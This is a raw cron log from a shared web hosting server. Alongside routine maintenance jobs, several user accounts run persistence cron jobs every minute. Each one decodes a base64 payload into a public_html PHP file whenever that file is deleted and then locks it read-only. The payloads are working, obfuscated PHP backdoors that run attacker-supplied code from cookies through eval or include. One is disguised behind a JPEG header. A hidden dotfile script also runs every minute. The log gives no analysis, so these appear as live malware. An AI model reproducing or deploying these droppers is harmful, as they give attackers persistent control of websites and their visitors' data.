Jun  7 14:58:01 medusa CROND[5226]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:58:01 medusa CROND[5233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:58:01 medusa CROND[5234]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:58:01 medusa CROND[5235]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:58:01 medusa CROND[5242]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:58:01 medusa CROND[5243]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:59:01 medusa CROND[7051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:59:01 medusa CROND[7052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:59:01 medusa CROND[7053]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:59:01 medusa CROND[7054]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:59:01 medusa CROND[7055]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:59:01 medusa CROND[7056]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:59:01 medusa CROND[7057]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:59:01 medusa CROND[7063]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:59:01 medusa CROND[7064]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:59:01 medusa CROND[7068]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:59:01 medusa CROND[7070]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:59:01 medusa CROND[7061]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:00:01 medusa CROND[9018]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9133]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:00:01 medusa CROND[9256]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:00:01 medusa CROND[9257]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9258]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9260]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9261]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:00:01 medusa CROND[9262]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9265]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 15:00:01 medusa CROND[9266]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:00:01 medusa CROND[9268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:00:01 medusa CROND[9264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:00:01 medusa CROND[9273]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 15:00:01 medusa CROND[9278]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 15:00:01 medusa CROND[9279]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:00:01 medusa CROND[9281]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9277]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
